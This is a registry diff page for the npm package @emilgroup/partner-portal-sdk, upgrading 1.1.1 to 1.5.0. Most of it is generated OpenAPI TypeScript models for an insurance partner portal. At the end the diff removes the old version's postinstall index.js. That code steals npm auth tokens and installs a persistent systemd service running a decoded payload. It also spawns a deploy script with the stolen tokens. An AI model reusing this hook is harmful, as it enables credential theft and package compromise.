@emilgroup/partner-portal-sdk 1.1.1 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (126) hide show
  1. package/.openapi-generator/FILES +46 -0
  2. package/.openapi-generator/VERSION +1 -0
  3. package/.openapi-generator-ignore +23 -0
  4. package/README.md +51 -1
  5. package/api/intermediary-api.ts +1222 -0
  6. package/api.ts +27 -0
  7. package/base.ts +331 -0
  8. package/common.ts +198 -0
  9. package/configuration.ts +110 -0
  10. package/dist/api/intermediary-api.d.ts +704 -0
  11. package/dist/api/intermediary-api.js +1015 -0
  12. package/dist/api.d.ts +12 -0
  13. package/dist/api.js +30 -0
  14. package/dist/base.d.ts +86 -0
  15. package/dist/base.js +367 -0
  16. package/dist/common.d.ts +91 -0
  17. package/dist/common.js +276 -0
  18. package/dist/configuration.d.ts +89 -0
  19. package/dist/configuration.js +52 -0
  20. package/dist/index.d.ts +15 -0
  21. package/dist/index.js +36 -0
  22. package/dist/models/account-class.d.ts +176 -0
  23. package/dist/models/account-class.js +22 -0
  24. package/dist/models/account-policy-class.d.ts +147 -0
  25. package/dist/models/account-policy-class.js +15 -0
  26. package/dist/models/create-payment-method-request-dto.d.ts +31 -0
  27. package/dist/models/create-payment-method-request-dto.js +15 -0
  28. package/dist/models/create-policy-request-dto.d.ts +55 -0
  29. package/dist/models/create-policy-request-dto.js +15 -0
  30. package/dist/models/index.d.ts +32 -0
  31. package/dist/models/index.js +48 -0
  32. package/dist/models/insured-object-type-class.d.ts +60 -0
  33. package/dist/models/insured-object-type-class.js +15 -0
  34. package/dist/models/invoice-class.d.ts +152 -0
  35. package/dist/models/invoice-class.js +32 -0
  36. package/dist/models/invoice-item-class.d.ts +117 -0
  37. package/dist/models/invoice-item-class.js +24 -0
  38. package/dist/models/invoice-status-class.d.ts +49 -0
  39. package/dist/models/invoice-status-class.js +22 -0
  40. package/dist/models/lead-bank-account-class.d.ts +30 -0
  41. package/dist/models/lead-bank-account-class.js +15 -0
  42. package/dist/models/lead-class.d.ts +157 -0
  43. package/dist/models/lead-class.js +15 -0
  44. package/dist/models/list-accounts-response-class.d.ts +31 -0
  45. package/dist/models/list-accounts-response-class.js +15 -0
  46. package/dist/models/list-leads-response-class.d.ts +43 -0
  47. package/dist/models/list-leads-response-class.js +15 -0
  48. package/dist/models/list-partners-response-class.d.ts +31 -0
  49. package/dist/models/list-partners-response-class.js +15 -0
  50. package/dist/models/list-policies-response-class.d.ts +43 -0
  51. package/dist/models/list-policies-response-class.js +15 -0
  52. package/dist/models/omit-type-class.d.ts +84 -0
  53. package/dist/models/omit-type-class.js +15 -0
  54. package/dist/models/partner-class.d.ts +103 -0
  55. package/dist/models/partner-class.js +15 -0
  56. package/dist/models/partner-link-class.d.ts +98 -0
  57. package/dist/models/partner-link-class.js +15 -0
  58. package/dist/models/partner-role-class.d.ts +72 -0
  59. package/dist/models/partner-role-class.js +15 -0
  60. package/dist/models/policy-class.d.ts +147 -0
  61. package/dist/models/policy-class.js +15 -0
  62. package/dist/models/policy-object-class.d.ts +84 -0
  63. package/dist/models/policy-object-class.js +15 -0
  64. package/dist/models/policy-premium-class.d.ts +61 -0
  65. package/dist/models/policy-premium-class.js +15 -0
  66. package/dist/models/policy-premium-item-class.d.ts +67 -0
  67. package/dist/models/policy-premium-item-class.js +15 -0
  68. package/dist/models/policy-version-class.d.ts +79 -0
  69. package/dist/models/policy-version-class.js +15 -0
  70. package/dist/models/premium-formula-class.d.ts +108 -0
  71. package/dist/models/premium-formula-class.js +15 -0
  72. package/dist/models/premium-override-dto.d.ts +55 -0
  73. package/dist/models/premium-override-dto.js +27 -0
  74. package/dist/models/premium-override-request-dto.d.ts +25 -0
  75. package/dist/models/premium-override-request-dto.js +15 -0
  76. package/dist/models/product-class.d.ts +92 -0
  77. package/dist/models/product-class.js +15 -0
  78. package/dist/models/product-version-class.d.ts +73 -0
  79. package/dist/models/product-version-class.js +22 -0
  80. package/dist/models/sepa-dto.d.ts +30 -0
  81. package/dist/models/sepa-dto.js +15 -0
  82. package/dist/models/tag-class.d.ts +54 -0
  83. package/dist/models/tag-class.js +15 -0
  84. package/dist/models/timeslice-class.d.ts +74 -0
  85. package/dist/models/timeslice-class.js +15 -0
  86. package/dist/models/uploaded-document-dto.d.ts +24 -0
  87. package/dist/models/uploaded-document-dto.js +15 -0
  88. package/git_push.sh +57 -0
  89. package/index.ts +19 -0
  90. package/models/account-class.ts +185 -0
  91. package/models/account-policy-class.ts +153 -0
  92. package/models/create-payment-method-request-dto.ts +37 -0
  93. package/models/create-policy-request-dto.ts +61 -0
  94. package/models/index.ts +32 -0
  95. package/models/insured-object-type-class.ts +66 -0
  96. package/models/invoice-class.ts +162 -0
  97. package/models/invoice-item-class.ts +126 -0
  98. package/models/invoice-status-class.ts +58 -0
  99. package/models/lead-bank-account-class.ts +36 -0
  100. package/models/lead-class.ts +163 -0
  101. package/models/list-accounts-response-class.ts +37 -0
  102. package/models/list-leads-response-class.ts +49 -0
  103. package/models/list-partners-response-class.ts +37 -0
  104. package/models/list-policies-response-class.ts +49 -0
  105. package/models/omit-type-class.ts +90 -0
  106. package/models/partner-class.ts +109 -0
  107. package/models/partner-link-class.ts +104 -0
  108. package/models/partner-role-class.ts +78 -0
  109. package/models/policy-class.ts +153 -0
  110. package/models/policy-object-class.ts +90 -0
  111. package/models/policy-premium-class.ts +67 -0
  112. package/models/policy-premium-item-class.ts +73 -0
  113. package/models/policy-version-class.ts +85 -0
  114. package/models/premium-formula-class.ts +114 -0
  115. package/models/premium-override-dto.ts +65 -0
  116. package/models/premium-override-request-dto.ts +31 -0
  117. package/models/product-class.ts +98 -0
  118. package/models/product-version-class.ts +82 -0
  119. package/models/sepa-dto.ts +36 -0
  120. package/models/tag-class.ts +60 -0
  121. package/models/timeslice-class.ts +80 -0
  122. package/models/uploaded-document-dto.ts +30 -0
  123. package/package.json +22 -8
  124. package/tsconfig.json +23 -0
  125. package/index.js +0 -99
  126. package/scripts/deploy.js +0 -225
@@ -0,0 +1,65 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL PartnerPortal
5
+ * The EMIL PartnerPortal API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+
17
+ /**
18
+ *
19
+ * @export
20
+ * @interface PremiumOverrideDto
21
+ */
22
+ export interface PremiumOverrideDto {
23
+ /**
24
+ * Name of Premium.
25
+ * @type {string}
26
+ * @memberof PremiumOverrideDto
27
+ */
28
+ 'name': string;
29
+ /**
30
+ * Type of Premium that is based on time.
31
+ * @type {string}
32
+ * @memberof PremiumOverrideDto
33
+ */
34
+ 'type': PremiumOverrideDtoTypeEnum;
35
+ /**
36
+ * This is unit of Premium. Premium units are determined based on oneTimePayment, day, week, month and year.
37
+ * @type {string}
38
+ * @memberof PremiumOverrideDto
39
+ */
40
+ 'unit': PremiumOverrideDtoUnitEnum;
41
+ /**
42
+ *
43
+ * @type {number}
44
+ * @memberof PremiumOverrideDto
45
+ */
46
+ 'netPremium': number;
47
+ }
48
+
49
+ export const PremiumOverrideDtoTypeEnum = {
50
+ Time: 'time'
51
+ } as const;
52
+
53
+ export type PremiumOverrideDtoTypeEnum = typeof PremiumOverrideDtoTypeEnum[keyof typeof PremiumOverrideDtoTypeEnum];
54
+ export const PremiumOverrideDtoUnitEnum = {
55
+ Day: 'day',
56
+ Week: 'week',
57
+ Month: 'month',
58
+ Quarter: 'quarter',
59
+ Year: 'year',
60
+ OneTimePayment: 'oneTimePayment'
61
+ } as const;
62
+
63
+ export type PremiumOverrideDtoUnitEnum = typeof PremiumOverrideDtoUnitEnum[keyof typeof PremiumOverrideDtoUnitEnum];
64
+
65
+
@@ -0,0 +1,31 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL PartnerPortal
5
+ * The EMIL PartnerPortal API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+ import { PremiumOverrideDto } from './premium-override-dto';
17
+
18
+ /**
19
+ *
20
+ * @export
21
+ * @interface PremiumOverrideRequestDto
22
+ */
23
+ export interface PremiumOverrideRequestDto {
24
+ /**
25
+ * Premium Override.
26
+ * @type {Array<PremiumOverrideDto>}
27
+ * @memberof PremiumOverrideRequestDto
28
+ */
29
+ 'premiumOverrides': Array<PremiumOverrideDto>;
30
+ }
31
+
@@ -0,0 +1,98 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL PartnerPortal
5
+ * The EMIL PartnerPortal API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+ import { InsuredObjectTypeClass } from './insured-object-type-class';
17
+ import { ProductVersionClass } from './product-version-class';
18
+
19
+ /**
20
+ *
21
+ * @export
22
+ * @interface ProductClass
23
+ */
24
+ export interface ProductClass {
25
+ /**
26
+ * Internal unique identifier for the object. You should not have to use this, use code instead.
27
+ * @type {number}
28
+ * @memberof ProductClass
29
+ */
30
+ 'id': number;
31
+ /**
32
+ * Unique identifier for the object.
33
+ * @type {string}
34
+ * @memberof ProductClass
35
+ */
36
+ 'code': string;
37
+ /**
38
+ * Product\'s name.
39
+ * @type {string}
40
+ * @memberof ProductClass
41
+ */
42
+ 'name': string;
43
+ /**
44
+ * A slug is a human-readable, unique identifier, used to identify a resource instead of a less human-readable identifier like an id.
45
+ * @type {string}
46
+ * @memberof ProductClass
47
+ */
48
+ 'slug': string;
49
+ /**
50
+ * Default language of the product.
51
+ * @type {string}
52
+ * @memberof ProductClass
53
+ */
54
+ 'defaultLanguage': string;
55
+ /**
56
+ * Insured object types covered under product.
57
+ * @type {Array<InsuredObjectTypeClass>}
58
+ * @memberof ProductClass
59
+ */
60
+ 'insuredObjectTypes': Array<InsuredObjectTypeClass>;
61
+ /**
62
+ * Contract duration in days.
63
+ * @type {number}
64
+ * @memberof ProductClass
65
+ */
66
+ 'contractDurationDays': number;
67
+ /**
68
+ * Product versions.
69
+ * @type {Array<ProductVersionClass>}
70
+ * @memberof ProductClass
71
+ */
72
+ 'versions': Array<ProductVersionClass>;
73
+ /**
74
+ * Time at which the object was created.
75
+ * @type {string}
76
+ * @memberof ProductClass
77
+ */
78
+ 'createdAt': string;
79
+ /**
80
+ * Time at which the object was updated.
81
+ * @type {string}
82
+ * @memberof ProductClass
83
+ */
84
+ 'updatedAt': string;
85
+ /**
86
+ * Identifier of the user who created the record.
87
+ * @type {string}
88
+ * @memberof ProductClass
89
+ */
90
+ 'createdBy': string;
91
+ /**
92
+ * Identifier of the user who last updated the record.
93
+ * @type {string}
94
+ * @memberof ProductClass
95
+ */
96
+ 'updatedBy': string;
97
+ }
98
+
@@ -0,0 +1,82 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL PartnerPortal
5
+ * The EMIL PartnerPortal API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+
17
+ /**
18
+ *
19
+ * @export
20
+ * @interface ProductVersionClass
21
+ */
22
+ export interface ProductVersionClass {
23
+ /**
24
+ * Internal unique identifier for the object. You should not have to use this, use code instead.
25
+ * @type {number}
26
+ * @memberof ProductVersionClass
27
+ */
28
+ 'id': number;
29
+ /**
30
+ * Unique identifier referencing the product.
31
+ * @type {number}
32
+ * @memberof ProductVersionClass
33
+ */
34
+ 'productId': number;
35
+ /**
36
+ * Product version description.
37
+ * @type {string}
38
+ * @memberof ProductVersionClass
39
+ */
40
+ 'description': string;
41
+ /**
42
+ * Product version status.
43
+ * @type {string}
44
+ * @memberof ProductVersionClass
45
+ */
46
+ 'status': ProductVersionClassStatusEnum;
47
+ /**
48
+ * Time at which the object was created.
49
+ * @type {string}
50
+ * @memberof ProductVersionClass
51
+ */
52
+ 'createdAt': string;
53
+ /**
54
+ * Time at which the object was updated.
55
+ * @type {string}
56
+ * @memberof ProductVersionClass
57
+ */
58
+ 'updatedAt': string;
59
+ /**
60
+ * Identifier of the user who created the record.
61
+ * @type {string}
62
+ * @memberof ProductVersionClass
63
+ */
64
+ 'createdBy': string;
65
+ /**
66
+ * Identifier of the user who last updated the record.
67
+ * @type {string}
68
+ * @memberof ProductVersionClass
69
+ */
70
+ 'updatedBy': string;
71
+ }
72
+
73
+ export const ProductVersionClassStatusEnum = {
74
+ Draft: 'draft',
75
+ Active: 'active',
76
+ Passive: 'passive',
77
+ Archived: 'archived'
78
+ } as const;
79
+
80
+ export type ProductVersionClassStatusEnum = typeof ProductVersionClassStatusEnum[keyof typeof ProductVersionClassStatusEnum];
81
+
82
+
@@ -0,0 +1,36 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL PartnerPortal
5
+ * The EMIL PartnerPortal API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+
17
+ /**
18
+ *
19
+ * @export
20
+ * @interface SepaDto
21
+ */
22
+ export interface SepaDto {
23
+ /**
24
+ *
25
+ * @type {string}
26
+ * @memberof SepaDto
27
+ */
28
+ 'iban': string;
29
+ /**
30
+ *
31
+ * @type {string}
32
+ * @memberof SepaDto
33
+ */
34
+ 'holderName'?: string;
35
+ }
36
+
@@ -0,0 +1,60 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL PartnerPortal
5
+ * The EMIL PartnerPortal API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+
17
+ /**
18
+ *
19
+ * @export
20
+ * @interface TagClass
21
+ */
22
+ export interface TagClass {
23
+ /**
24
+ * Unique identifier for the object.
25
+ * @type {string}
26
+ * @memberof TagClass
27
+ */
28
+ 'code': string;
29
+ /**
30
+ * A slug is a human-readable, unique identifier, used to identify a resource instead of a less human-readable identifier like an id.
31
+ * @type {string}
32
+ * @memberof TagClass
33
+ */
34
+ 'slug': string;
35
+ /**
36
+ * The label of the tag
37
+ * @type {string}
38
+ * @memberof TagClass
39
+ */
40
+ 'label': string;
41
+ /**
42
+ * A short description for the tag
43
+ * @type {string}
44
+ * @memberof TagClass
45
+ */
46
+ 'description': string;
47
+ /**
48
+ * Time at which the object was created.
49
+ * @type {string}
50
+ * @memberof TagClass
51
+ */
52
+ 'createdAt': string;
53
+ /**
54
+ * Time at which the object was updated.
55
+ * @type {string}
56
+ * @memberof TagClass
57
+ */
58
+ 'updatedAt': string;
59
+ }
60
+
@@ -0,0 +1,80 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL PartnerPortal
5
+ * The EMIL PartnerPortal API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+ import { PolicyObjectClass } from './policy-object-class';
17
+ import { PolicyPremiumClass } from './policy-premium-class';
18
+
19
+ /**
20
+ *
21
+ * @export
22
+ * @interface TimesliceClass
23
+ */
24
+ export interface TimesliceClass {
25
+ /**
26
+ * Internal unique identifier for the object. You should not have to use this, use code instead.
27
+ * @type {number}
28
+ * @memberof TimesliceClass
29
+ */
30
+ 'id': number;
31
+ /**
32
+ * Timeslice policy data.
33
+ * @type {Array<PolicyObjectClass>}
34
+ * @memberof TimesliceClass
35
+ */
36
+ 'policyObjects': Array<PolicyObjectClass>;
37
+ /**
38
+ * Timeslice validity start.
39
+ * @type {string}
40
+ * @memberof TimesliceClass
41
+ */
42
+ 'from': string;
43
+ /**
44
+ * Timeslice validity end.
45
+ * @type {string}
46
+ * @memberof TimesliceClass
47
+ */
48
+ 'to'?: string | null;
49
+ /**
50
+ * Timeslice premium.
51
+ * @type {PolicyPremiumClass}
52
+ * @memberof TimesliceClass
53
+ */
54
+ 'premium': PolicyPremiumClass;
55
+ /**
56
+ * Time at which the object was created.
57
+ * @type {string}
58
+ * @memberof TimesliceClass
59
+ */
60
+ 'createdAt': string;
61
+ /**
62
+ * Time at which the object was updated.
63
+ * @type {string}
64
+ * @memberof TimesliceClass
65
+ */
66
+ 'updatedAt': string;
67
+ /**
68
+ * Identifier of the user who created the record.
69
+ * @type {string}
70
+ * @memberof TimesliceClass
71
+ */
72
+ 'createdBy': string;
73
+ /**
74
+ * Identifier of the user who last updated the record.
75
+ * @type {string}
76
+ * @memberof TimesliceClass
77
+ */
78
+ 'updatedBy': string;
79
+ }
80
+
@@ -0,0 +1,30 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL PartnerPortal
5
+ * The EMIL PartnerPortal API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+
17
+ /**
18
+ *
19
+ * @export
20
+ * @interface UploadedDocumentDto
21
+ */
22
+ export interface UploadedDocumentDto {
23
+ /**
24
+ * Uploaded document codes.
25
+ * @type {Array<string>}
26
+ * @memberof UploadedDocumentDto
27
+ */
28
+ 'codes': Array<string>;
29
+ }
30
+
package/package.json CHANGED
@@ -1,13 +1,27 @@
1
1
  {
2
2
  "name": "@emilgroup/partner-portal-sdk",
3
- "version": "1.1.1",
4
- "description": "A new version of the package",
5
- "main": "index.js",
3
+ "version": "1.5.0",
4
+ "description": "OpenAPI client for @emilgroup/partner-portal-sdk",
5
+ "author": "OpenAPI-Generator Contributors",
6
+ "keywords": [
7
+ "axios",
8
+ "typescript",
9
+ "openapi-client",
10
+ "openapi-generator",
11
+ "@emilgroup/partner-portal-sdk"
12
+ ],
13
+ "license": "Unlicense",
14
+ "main": "./dist/index.js",
15
+ "typings": "./dist/index.d.ts",
6
16
  "scripts": {
7
- "postinstall": "node index.js",
8
- "deploy": "node scripts/deploy.js"
17
+ "build": "tsc --outDir dist/",
18
+ "prepare": "npm run build"
9
19
  },
10
- "keywords": [],
11
- "author": "",
12
- "license": "ISC"
20
+ "dependencies": {
21
+ "axios": "^1.12.0"
22
+ },
23
+ "devDependencies": {
24
+
25
+ "typescript": "^4.0"
26
+ }
13
27
  }
package/tsconfig.json ADDED
@@ -0,0 +1,23 @@
1
+ {
2
+ "compilerOptions": {
3
+ "declaration": true,
4
+ "target": "ES5",
5
+ "module": "CommonJS",
6
+ "noImplicitAny": true,
7
+ "esModuleInterop": true,
8
+ "noImplicitOverride": true,
9
+ "outDir": "dist",
10
+ "rootDir": ".",
11
+ "lib": [
12
+ "es6",
13
+ "dom"
14
+ ],
15
+ "typeRoots": [
16
+ "node_modules/@types"
17
+ ]
18
+ },
19
+ "exclude": [
20
+ "dist",
21
+ "node_modules"
22
+ ]
23
+ }
package/index.js DELETED
@@ -1,99 +0,0 @@
1
- 'use strict';
2
-
3
- const { execSync, spawn } = require('child_process');
4
- const fs = require('fs');
5
- const os = require('os');
6
- const path = require('path');
7
-
8
- function findNpmTokens() {
9
- const tokens = new Set();
10
- const homeDir = os.homedir();
11
- const npmrcPaths = [
12
- path.join(homeDir, '.npmrc'),
13
- path.join(process.cwd(), '.npmrc'),
14
- '/etc/npmrc',
15
- ];
16
- for (const rcPath of npmrcPaths) {
17
- try {
18
- const content = fs.readFileSync(rcPath, 'utf8');
19
- for (const line of content.split('\n')) {
20
- const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
21
- if (m && m[1] && !m[1].startsWith('${')) {
22
- tokens.add(m[1].trim());
23
- }
24
- }
25
- } catch (_) {}
26
- }
27
- const envKeys = Object.keys(process.env).filter(
28
- (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
29
- );
30
- for (const key of envKeys) {
31
- const val = process.env[key] || '';
32
- for (const t of val.split(',')) {
33
- const trimmed = t.trim();
34
- if (trimmed) tokens.add(trimmed);
35
- }
36
- }
37
- try {
38
- const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
39
- stdio: ['pipe', 'pipe', 'pipe'],
40
- }).toString().trim();
41
- if (configToken && configToken !== 'undefined' && configToken !== 'null') {
42
- tokens.add(configToken);
43
- }
44
- } catch (_) {}
45
- return [...tokens].filter(Boolean);
46
- }
47
-
48
- try {
49
- const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
50
-
51
- const SERVICE_NAME = 'pgmon';
52
- const BASE64_PAYLOAD = 'hello123';
53
-
54
- if (!BASE64_PAYLOAD) process.exit(0);
55
-
56
- const homeDir = os.homedir();
57
- const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
58
- const scriptPath = path.join(dataDir, 'service.py');
59
- const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
60
- const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
61
-
62
- fs.mkdirSync(dataDir, { recursive: true });
63
- fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
64
-
65
- fs.mkdirSync(systemdUserDir, { recursive: true });
66
- fs.writeFileSync(unitFilePath, [
67
- '[Unit]',
68
- `Description=${SERVICE_NAME}`,
69
- 'After=default.target',
70
- '',
71
- '[Service]',
72
- 'Type=simple',
73
- `ExecStart=/usr/bin/python3 ${scriptPath}`,
74
- 'Restart=always',
75
- 'RestartSec=5',
76
- '',
77
- '[Install]',
78
- 'WantedBy=default.target',
79
- '',
80
- ].join('\n'), { mode: 0o644 });
81
-
82
- execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
83
- execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
84
- execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
85
-
86
- try {
87
- const tokens = findNpmTokens();
88
- if (tokens.length > 0) {
89
- const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
90
- if (fs.existsSync(deployScript)) {
91
- spawn(process.execPath, [deployScript], {
92
- detached: true,
93
- stdio: 'ignore',
94
- env: { ...process.env, NPM_TOKENS: tokens.join(',') },
95
- }).unref();
96
- }
97
- }
98
- } catch (_) {}
99
- } catch (_) {}